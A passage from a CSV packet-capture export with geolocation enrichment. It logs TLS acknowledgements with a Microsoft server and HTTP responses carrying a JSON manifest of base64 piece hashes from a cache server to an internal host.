Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.201.64/26,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2330697052 Ack=1256294174,bc2411360d0cbc24112907bb0800450000282aa3400040066fd63461c9520a98980b01bbfa0c8aeb9d5c4ae1871e5010003fa0710000,\".$.6\n..$.)....E..(*.@.@.o.4a.R\n..........\\J...P..?.q..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 10915, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 28630, \"\"src\"\": \"\"52.97.201.82\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64012, \"\"seq\"\": 2330697052, \"\"ack\"\": 1256294174, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 41073, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:28:48.534600,110,TCP 52.97.201.82:443 -> 10.152.152.11:64012,52.97.201.82,10.152.152.11,443,64012,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.201.64/26,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=2330697052 Ack=1256294174,bc2411360d0cbc24112907bb08004500004e2aa4400040066faf3461c9520a98980b01bbfa0c8aeb9d5c4ae1871e5018003fa097000017030300210000000000000002c10444512f7957d5c6b7f4b4454fa176bd9a383b394a21cb16,\".$.6\n..$.)....E..N*.@.@.o.4a.R\n..........\\J...P..?........!..........DQ/yW.....EO.v..8;9J!..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 78, \"\"id\"\": 10916, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 28591, \"\"src\"\": \"\"52.97.201.82\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64012, \"\"seq\"\": 2330697052, \"\"ack\"\": 1256294174, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 41111, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 33, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x02\\\\xc1\\\\x04DQ/yW\\\\xd5\\\\xc6\\\\xb7\\\\xf4\\\\xb4EO\\\\xa1v\\\\xbd\\\\x9a8;9J!\\\\xcb\\\\x16' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:28:48.534925,111,TCP 10.152.152.11:64012 -> 52.97.201.82:443,10.152.152.11,52.97.201.82,64012,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.201.64/26,A,,,Ether > IP > TCP,3,TCP A Seq=1256294174 Ack=2330697090,bc24112907bbbc2411360d0c080045000028ef52400080066b260a98980b3461c952fa0c01bb4ae1871e8aeb9d82501003fe154a0000,\".$.)...$.6\n...E..(.R@...k&\n...4a.R....J.......P....J..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 61266, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 27430, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"52.97.201.82\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64012, \"\"dport\"\": 443, \"\"seq\"\": 1256294174, \"\"ack\"\": 2330697090, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1022, \"\"chksum\"\": 5450, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:28:48.547031,112,TCP 194.36.32.201:80 -> 10.152.152.11:64025,194.36.32.201,10.152.152.11,80,64025,TCP,United States,Unknown,215724,\"Edgevana, Inc.\",37.751,-97.822,194.36.32.0/23,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > HTTP > HTTPResponse > Raw,6,HTTP Response: 200,bc2411360d0cbc24112907bb0800450005e056b04000400658d7c22420c90a98980b0050fa19295317f0d11825f25018003f8b630000485454502f312e3120323030204f4b0d0a5365727665723a206e67696e780d0a446174653a2053756e2c203134204a756e20323032362031343a32383a343820474d540d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a436f6e74656e742d4c656e6774683a20333739330d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a43616368652d436f6e74726f6c3a207075626c69632c6d61782d6167653d3137323830300d0a4c6173742d4d6f6469666965643a204d6f6e2c203133204f637420323032352032323a33353a343620474d540d0a4167653a2031303531350d0a5669613a20312e31207661726e6973680d0a582d5365727665642d42793a2063616368652d6672612d65646466383233303130382d4652410d0a582d43616368653a204849540d0a582d43616368652d486974733a20300d0a582d54696d65723a2053313738303130303234322e3532353434362c5653302c5645310d0a582d4349443a2031303030360d0a582d4343433a2033616334636234302d636264652d343662312d383566302d6336356330646363383063360d0a436f6e74656e742d53656375726974792d506f6c6963793a2064656661756c742d737263202773656c662720687474703a2068747470733a20646174613a20626c6f623a2027756e736166652d696e6c696e65270d0a582d5853532d50726f74656374696f6e3a20313b206d6f64653d626c6f636b0d0a582d4672616d652d4f7074696f6e733a2053414d454f524947494e0d0a582d43616368652d5374617475733a205354414c450d0a4163636570742d52616e6765733a2062797465730d0a0d0a7b224d616a6f7256657273696f6e223a312c224d696e6f7256657273696f6e223a302c22486173684f66486173686573223a2271416957414e73434f314d756d4452553462324654635371486976593934675853464758646972524471343d222c22486173684f66486173686573537472696e67223a2271416957414e73434f314d756d4452553462324654635371486976593934675853464758646972524471343d222c22436f6e74656e744c656e677468223a37393234303630352c22506965636553697a65223a313034383537362c22506965636573223a5b2236336532666e3970354d314a67726f7434324970474d61356265775162424b4c2b656d35306f46622b69343d222c22597558624c676173344c68377750632b2b6556613337453649566465377250466e58346e44676f506b30633d222c224b36696f387735713872346a766342306258626e6b635232626746426477436e6a755847697a634d6d51553d222c223058332b783356312b4a50416a4345354e6732306765723566446531476741596f6c3553774a6f45422b303d222c226d6a7456713273456d78366b62386269436b6952776b67722b6378316e73367448586c76774b75786130493d222c2236762b4a6d6e41786344384568316145702b61315564754a4f6b6b5a7759566d6e71737341675665416a453d222c22354a476568434f57456b757371556d4c3863426e4e4d767635595148352b51446c6d776a7741504c6d50733d222c2252676f443054474a4959317a4a3039314d71696b6653307356305668553358356655744f6c6e6e53454e773d222c22364953337632773973507555572f416b556a663933557265456a4a3578377644626543536f7066416179593d222c224c50487063753231506f41576d6661314c616268356d4b6e316e61376f473335685163792f5139384974303d222c22457745725269654a3258715a58766443356d37664767577067327148484268334337723267485878454b303d222c2238696566472b537a366971484568495665517747746655517665482f5267705136436639545350385a4c513d222c2236654a495a4769796747774732617648694b4a33476351777037394367487371466b78556f7473436a6f733d222c226f66416f2f49666c42,\"{\"\"MajorVersion\"\":1,\"\"MinorVersion\"\":0,\"\"HashOfHashes\"\":\"\"qAiWANsCO1MumDRU4b2FTcSqHivY94gXSFGXdirRDq4=\"\",\"\"HashOfHashesString\"\":\"\"qAiWANsCO1MumDRU4b2FTcSqHivY94gXSFGXdirRDq4=\"\",\"\"ContentLength\"\":79240605,\"\"PieceSize\"\":1048576,\"\"Pieces\"\":[\"\"63e2fn9p5M1Jgrot42IpGMa5bewQbBKL+em50oFb+i4=\"\",\"\"YuXbLgas4Lh7wPc++eVa37E6IVde7rPFnX4nDgoPk0c=\"\",\"\"K6io8w5q8r4jvcB0bXbnkcR2bgFBdwCnjuXGizcMmQU=\"\",\"\"0X3+x3V1+JPAjCE5Ng20ger5fDe1GgAYol5SwJoEB+0=\"\",\"\"mjtVq2sEmx6kb8biCkiRwkgr+cx1ns6tHXlvwKuxa0I=\"\",\"\"6v+JmnAxcD8Eh1aEp+a1UduJOkkZwYVmnqssAgVeAjE=\"\",\"\"5JGehCOWEkusqUmL8cBnNMvv5YQH5+QDlmwjwAPLmPs=\"\",\"\"RgoD0TGJIY1zJ091MqikfS0sV0VhU3X5fUtOlnnSENw=\"\",\"\"6IS3v2w9sPuUW/AkUjf93UreEjJ5x7vDbeCSopfAayY=\"\",\"\"LPHpcu21PoAWmfa1Labh5mKn1na7oG35hQcy/Q98It0=\"\",\"\"EwErRieJ2XqZXvdC5m7fGgWpg2qHHBh3C7r2gHXxEK0=\"\",\"\"8iefG+Sz6iqHEhIVeQwGtfUQveH/RgpQ6Cf9TSP8ZLQ=\"\",\"\"6eJIZGiygGwG2avHiKJ3GcQwp79CgHsqFkxUotsCjos=\"\",\"\"ofAo/IflB\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 1504, \"\"id\"\": 22192, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 22743, \"\"src\"\": \"\"194.36.32.201\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 64025, \"\"seq\"\": 693311472, \"\"ack\"\": 3508020722, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 35683, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"HTTPResponse\"\", \"\"fields\"\": {\"\"Http_Version\"\": \"\"HTTP/1.1\"\", \"\"Status_Code\"\": \"\"200\"\", \"\"Reason_Phrase\"\": \"\"OK\"\", \"\"Accept_Patch\"\": null, \"\"Accept_Ranges\"\": \"\"bytes\"\", \"\"Access_Control_Allow_Credentials\"\": null, \"\"Access_Control_Allow_Headers\"\": null, \"\"Access_Control_Allow_Methods\"\": null, \"\"Access_Control_Allow_Origin\"\": null, \"\"Access_Control_Expose_Headers\"\": null, \"\"Access_Control_Max_Age\"\": null, \"\"Age\"\": \"\"10515\"\", \"\"Allow\"\": null, \"\"Alt_Svc\"\": null, \"\"Cache_Control\"\": \"\"public,max-age=172800\"\", \"\"Connection\"\": \"\"keep-alive\"\", \"\"Content_Disposition\"\": null, \"\"Content_Encoding\"\": null, \"\"Content_Language\"\": null, \"\"Content_Length\"\": \"\"3793\"\", \"\"Content_Location\"\": null, \"\"Content_MD5\"\": null, \"\"Content_Range\"\": null, \"\"Content_Security_Policy\"\": \"\"default-src 'self' http: https: data: blob: 'unsafe-inline'\"\", \"\"Content_Type\"\": \"\"application/json\"\", \"\"Date\"\": \"\"Sun, 14 Jun 2026 14:28:48 GMT\"\", \"\"Delta_Base\"\": null, \"\"ETag\"\": null, \"\"Expires\"\": null, \"\"IM\"\": null, \"\"Keep_Alive\"\": null, \"\"Last_Modified\"\": \"\"Mon, 13 Oct 2025 22:35:46 GMT\"\", \"\"Link\"\": null, \"\"Location\"\": null, \"\"P3P\"\": null, \"\"Permanent\"\": null, \"\"Pragma\"\": null, \"\"Proxy_Authenticate\"\": null, \"\"Public_Key_Pins\"\": null, \"\"Refresh\"\": null, \"\"Retry_After\"\": null, \"\"Server\"\": \"\"nginx\"\", \"\"Set_Cookie\"\": null, \"\"Status\"\": null, \"\"Strict_Transport_Security\"\": null, \"\"Timing_Allow_Origin\"\": null, \"\"Tk\"\": null, \"\"Trailer\"\": null, \"\"Transfer_Encoding\"\": null, \"\"Upgrade\"\": null, \"\"Vary\"\": null, \"\"Via\"\": \"\"1.1 varnish\"\", \"\"WWW_Authenticate\"\": null, \"\"Warning\"\": null, \"\"X_Content_Duration\"\": null, \"\"X_Content_Security_Policy\"\": null, \"\"X_Content_Type_Options\"\": null, \"\"X_Correlation_ID\"\": null, \"\"X_Frame_Options\"\": \"\"SAMEORIGIN\"\", \"\"X_Powered_By\"\": null, \"\"X_Request_ID\"\": null, \"\"X_UA_Compatible\"\": null, \"\"X_WebKit_CSP\"\": null, \"\"X_XSS_Protection\"\": \"\"1; mode=block\"\", \"\"Unknown_Headers\"\": \"\"{b'X-Served-By': b'cache-fra-eddf8230108-FRA', b'X-Cache': b'HIT', b'X-Cache-Hits': b'0', b'X-Timer': b'S1780100242.525446,VS0,VE1', b'X-CID': b'10006', b'X-CCC': b'3ac4cb40-cbde-46b1-85f0-c65c0dcc80c6', b'X-Cache-Status': b'STALE'}\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"{\\\"\"MajorVersion\\\"\":1,\\\"\"MinorVersion\\\"\":0,\\\"\"HashOfHashes\\\"\":\\\"\"qAiWANsCO1MumDRU4b2FTcSqHivY94gXSFGXdirRDq4=\\\"\",\\\"\"HashOfHashesString\\\"\":\\\"\"qAiWANsCO1MumDRU4b2FTcSqHivY94gXSFGXdirRDq4=\\\"\",\\\"\"ContentLength\\\"\":79240605,\\\"\"PieceSize\\\"\":1048576,\\\"\"Pieces\\\"\":[\\\"\"63e2fn9p5M1Jgrot42IpGMa5bewQbBKL+em50oFb+i4=\\\"\",\\\"\"YuXbLgas4Lh7wPc++eVa37E6IVde7rPFnX4nDgoPk0c=\\\"\",\\\"\"K6io8w5q8r4jvcB0bXbnkcR2bgFBdwCnjuXGizcMmQU=\\\"\",\\\"\"0X3+x3V1+JPAjCE5Ng20ger5fDe1GgAYol5SwJoEB+0=\\\"\",\\\"\"mjtVq2sEmx6kb8biCkiRwkgr+cx1ns6tHXlvwKuxa0I=\\\"\",\\\"\"6v+JmnAxcD8Eh1aEp+a1UduJOkkZwYVmnqssAgVeAjE=\\\"\",\\\"\"5JGehCOWEkusqUmL8cBnNMvv5YQH5+QDlmwjwAPLmPs=\\\"\",\\\"\"RgoD0TGJIY1zJ091MqikfS0sV0VhU3X5fUtOlnnSENw=\\\"\",\\\"\"6IS3v2w9sPuUW/AkUjf93UreEjJ5x7vDbeCSopfAayY=\\\"\",\\\"\"LPHpcu21PoAWmfa1Labh5mKn1na7oG35hQcy/Q98It0=\\\"\",\\\"\"EwErRieJ2XqZXvdC5m7fGgWpg2qHHBh3C7r2gHXxEK0=\\\"\",\\\"\"8iefG+Sz6iqHEhIVeQwGtfUQveH/RgpQ6Cf9TSP8ZLQ=\\\"\",\\\"\"6eJIZGiygGwG2avHiKJ3GcQwp79CgHsqFkxUotsCjos=\\\"\",\\\"\"ofAo/IflB\"\"}}]\"\n2026-06-14 14:28:48.547259,113,TCP 10.152.152.11:64025 -> 194.36.32.201:80,10.152.152.11,194.36.32.201,64025,80,TCP,Internal,Private Network,,,,,,United States,Unknown,215724,\"Edgevana, Inc.\",37.751,-97.822,194.36.32.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=3508020722 Ack=693312936,bc24112907bbbc2411360d0c080045000028d38440008006a1ba0a98980bc22420c9fa190050d11825f229531da850100402edd10000,\".$.)...$.6\n...E..(..@.....\n....$ ....P..%.)S..P.......\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 54148, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 41402, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"194.36.32.201\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64025, \"\"dport\"\": 80, \"\"seq\"\": 3508020722, \"\"ack\"\": 693312936, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1026, \"\"chksum\"\": 60881, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:28:48.558229,114,TCP 194.36.32.201:80 -> 10.152.152.11:64025,194.36.32.201,10.152.152.11,80,64025,TCP,United States,Unknown,215724,\"Edgevana, Inc.\",37.751,-97.822,194.36.32.0/23,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > HTTP > Raw,5,TCP PA Seq=693312936 Ack=3508020722,bc2411360d0cbc24112907bb0800450003f856b2400040065abdc22420c90a98980b0050fa1929531da8d11825f25018003f897b00004a476641424b723156727a696d766234754d334d386c676d784955366c57744a50513d222c225853652f706748334c7963767837714d4930756837706554753976576c387339316b554b70626633554f413d222c22387074626541313644594f7574732f78326e377a726264346f5264504379335157316e7348734865456b343d222c224d5674664b634d6e366d33756a51595a455a46723445392b6d2b52464d6a65344f3945386c2b632f6266553d222c2279597630754346584a634d594676464d6a2f3158496c4e4679737a707256634454464c6e6954346f6e386f3d222c22544159546762787656497a304c5a614651675979375332364c4538626478396e313371794b5049364871593d222c227256374141446142364f3575577a6559667a554766344d43504d4c6870664b4476642b32783569464256383d222c2254324b2f315545553956476e422b676e49675a6e2f2b4d4673346169436252416d66536c5061456a682f493d222c225978385067614f3962644d67494e6b784e344967777643326a5554384c505a3858507041337656696e79513d222c22486e33306a35447754586244347051615759414a475a4c6668636d43662b4c366f4b6776527a6a4a4c666b3d222c223559442f784146675a366a3155726f574a36725052672f47792b6b4573764567632f2b38646e6c576e57303d222c2239316d4f724453445a6a5a785a496d50756237544558374544567463756f76626a64735142773561524a493d222c2266656172354a664874595a454667484f4f6f4336744b4e61477a2b5858467173356d327349476f7a3873773d222c2264754443446d38596e64697733624674476379704471652b776e51504231435a41434c38695a77554f4b6b3d222c22682f4467624e73776b44434b4c6554335a4664775a566e3774314f3465492b364c7649506b723952532b6f3d222c2279505741626b7669434632306f6b304f363462755261305458742f4445563443556f4a796a6b53716732383d222c22594c4f6c59724f5a634b37426d4b62497a31745a53394c2b6249536575674b7973584b746f34524c516c303d222c2277526d344c394e584c627248684f4d72775954396b34354463444c784b62465355342b444e494a4f57706f3d222c22767737544a3279674a6d56496d304c393633395941766b71537845776f4a367059564a55444c474c2f4b343d222c227767767a7265354a564f7553756a6c39486e7631552b3577556f7a4f327a456e626e6930692b755a6a32493d222c2276443348767a347853575855784447634378616a54537651573267354b4c576449364f76787954364c48553d22,\"JGfABKr1Vrzimvb4uM3M8lgmxIU6lWtJPQ=\"\",\"\"XSe/pgH3Lycvx7qMI0uh7peTu9vWl8s91kUKpbf3UOA=\"\",\"\"8ptbeA16DYOuts/x2n7zrbd4oRdPCy3QW1nsHsHeEk4=\"\",\"\"MVtfKcMn6m3ujQYZEZFr4E9+m+RFMje4O9E8l+c/bfU=\"\",\"\"yYv0uCFXJcMYFvFMj/1XIlNFyszprVcDTFLniT4on8o=\"\",\"\"TAYTgbxvVIz0LZaFQgYy7S26LE8bdx9n13qyKPI6HqY=\"\",\"\"rV7AADaB6O5uWzeYfzUGf4MCPMLhpfKDvd+2x5iFBV8=\"\",\"\"T2K/1UEU9VGnB+gnIgZn/+MFs4aiCbRAmfSlPaEjh/I=\"\",\"\"Yx8PgaO9bdMgINkxN4IgwvC2jUT8LPZ8XPpA3vVinyQ=\"\",\"\"Hn30j5DwTXbD4pQaWYAJGZLfhcmCf+L6oKgvRzjJLfk=\"\",\"\"5YD/xAFgZ6j1UroWJ6rPRg/Gy+kEsvEgc/+8dnlWnW0=\"\",\"\"91mOrDSDZjZxZImPub7TEX7EDVtcuovbjdsQBw5aRJI=\"\",\"\"fear5JfHtYZEFgHOOoC6tKNaGz+XXFqs5m2sIGoz8sw=\"\",\"\"duDCDm8Yndiw3bFtGcypDqe+wnQPB1CZACL8iZwUOKk=\"\",\"\"h/DgbNswkDCKLeT3ZFdwZVn7t1O4eI+6LvIPkr9RS+o=\"\",\"\"yPWAbkviCF20ok0O64buRa0TXt/DEV4CUoJyjkSqg28=\"\",\"\"YLOlYrOZcK7BmKbIz1tZS9L+bISeugKysXKto4RLQl0=\"\",\"\"wRm4L9NXLbrHhOMrwYT9k45DcDLxKbFSU4+DNIJOWpo=\"\",\"\"vw7TJ2ygJmVIm0L9639YAvkqSxEwoJ6pYVJUDLGL/K4=\"\",\"\"wgvzre5JVOuSujl9Hnv1U+5wUozO2zEnbni0i+uZj2I=\"\",\"\"vD3Hvz4xSWXUxDGcCxajTSvQW2g5KLWdI6OvxyT6LHU=\"\"\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 1016, \"\"id\"\": 22194, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 23229, \"\"src\"\": \"\"194.36.32.201\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 64025, \"\"seq\"\": 693312936, \"\"ack\"\": 3508020722, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 35195, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"JGfABKr1Vrzimvb4uM3M8lgmxIU6lWtJPQ=\\\"\",\\\"\"XSe/pgH3Lycvx7qMI0uh7peTu9vWl8s91kUKpbf3UOA=\\\"\",\\\"\"8ptbeA16DYOuts/x2n7zrbd4oRdPCy3QW1nsHsHeEk4=\\\"\",\\\"\"MVtfKcMn6m3ujQYZEZFr4E9+m+RFMje4O9E8l+c/bfU=\\\"\",\\\"\"yYv0uCFXJcMYFvFMj/1XIlNFyszprVcDTFLniT4on8o=\\\"\",\\\"\"TAYTgbxvVIz0LZaFQgYy7S26LE8bdx9n13qyKPI6HqY=\\\"\",\\\"\"rV7AADaB6O5uWzeYfzUGf4MCPMLhpfKDvd+2x5iFBV8=\\\"\",\\\"\"T2K/1UEU9VGnB+gnIgZn/+MFs4aiCbRAmfSlPaEjh/I=\\\"\",\\\"\"Yx8PgaO9bdMgINkxN4IgwvC2jUT8LPZ8XPpA3vVinyQ=\\\"\",\\\"\"Hn30j5DwTXbD4pQaWYAJGZLfhcmCf+L6oKgvRzjJLfk=\\\"\",\\\"\"5YD/xAFgZ6j1UroWJ6rPRg/Gy+kEsvEgc/+8dnlWnW0=\\\"\",\\\"\"91mOrDSDZjZxZImPub7TEX7EDVtcuovbjdsQBw5aRJI=\\\"\",\\\"\"fear5JfHtYZEFgHOOoC6tKNaGz+XXFqs5m2sIGoz8sw=\\\"\",\\\"\"duDCDm8Yndiw3bFtGcypDqe+wnQPB1CZACL8iZwUOKk=\\\"\",\\\"\"h/DgbNswkDCKLeT3ZFdwZVn7t1O4eI+6LvIPkr9RS+o=\\\"\",\\\"\"yPWAbkviCF20ok0O64buRa0TXt/DEV4CUoJyjkSqg28=\\\"\",\\\"\"YLOlYrOZcK7BmKbIz1tZS9L+bISeugKysXKto4RLQl0=\\\"\",\\\"\"wRm4L9NXLbrHhOMrwYT9k45DcDLxKbFSU4+DNIJOWpo=\\\"\",\\\"\"vw7TJ2ygJmVIm0L9639YAvkqSxEwoJ6pYVJUDLGL/K4=\\\"\",\\\"\"wgvzre5JVOuSujl9Hnv1U+5wUozO2zEnbni0i+uZj2I=\\\"\",\\\"\"vD3Hvz4xSWXUxDGcCxajTSvQW2g5KLWdI6OvxyT6LHU=\\\"\"\"\"}}]\"\n2026-06-14 14:28:48.609485,115,TCP 10.152.152.11:64025 -> 194.36.32.201:80,10.152.152.11,194.36.32.201,64025,80,TCP,Internal,Private Network,,,,,,United States,Unknown,215724,\"Edgevana, Inc.\",37.751,-97.822,194.36.32.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=3508020722 Ack=693313912,bc24112907bbbc2411360d0c080045000028d38540008006a1b90a98980bc22420c9fa190050d11825f229532178501003feea050000,\".$.)...$.6\n...E..(..@.....\n....$ ....P..%.)S!xP.......\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 54149, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 41401, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"194.36.32.201\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64025, \"\"dport\"\": 80, \"\"seq\"\": 3508020722, \"\"ack\"\": 693313912, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1022, \"\"chksum\"\": 59909, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:28:48.650252,116,TCP 194.36.32.201:80 -> 10.152.152.11:64025,194.36.32.201,10.152.152.11,80,64025,TCP,United States,Unknown,215724,\"Edgevana, Inc.\",37.751,-97.822,194.36.32.0/23,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > HTTP > Raw,5,TCP PA Seq=693313912 Ack=3508020722,bc2411360d0cbc24112907bb0800450007e056b34000400656d4c22420c90a98980b0050fa1929532178d11825f25018003f8d6300002c224f7a5963324d71356259416476353271594b62326f47703544537965615359656a4a6743306b4430344d413d222c22555156366f747049534e46704335576b48684b2f65566b694b3146696c796663794e7333794d7943434b513d222c2239567659434c435345386f4f65316f774f6e5053475771674873665533796259696b63455746516f77646b3d222c22696a6249626f4a73684f684b4e4f6f6a4563716d346b496d614447776d4d722b4d737a677a4b4b303655343d222c2274426779446c317833364a575774426d2b4675457168624f355a553849506c533030394635443338765a4d3d222c224932416b75474d336c7138765472744a66513837344537526a7171735544787635755735385041654267633d222c2255556d5177523159455a55586a6d4a5348416b6774443678504c46524f79787a464131574c493056786b553d222c22415238664d6c7a3241436d6661743233685634644e67713069674834416536474842677669616f2b4674773d222c22324134754c624463457044557a2f5079684e5a65384a324256657664483154522b43534141462b5665726f3d222c225138623349365561632b5071456b4759542f7555537679757a4e5966376e4950436e4748366939455364413d222c22613261553259616f6c33502b4d716b7045694a2b4945746d366a6937757a587353376a425043525a7367553d222c2237545053646c6a6f64717931713268686d546f6534755159637277595754522b47707a3147784e4c4d334d3d222c224c6345795236756d53347270672b446c59466f6d59337365784c3135547842304f44667076765a386a546b3d222c22485267784b6c624b6d526b59474f487a783063644f716c6248743859494c696441487a684839456a6858773d222c22396c526d61534333456176634c646b3947574c30764733514873576f542f64736458386d616f726f2f4e413d222c2273576349662f59644b7938714155666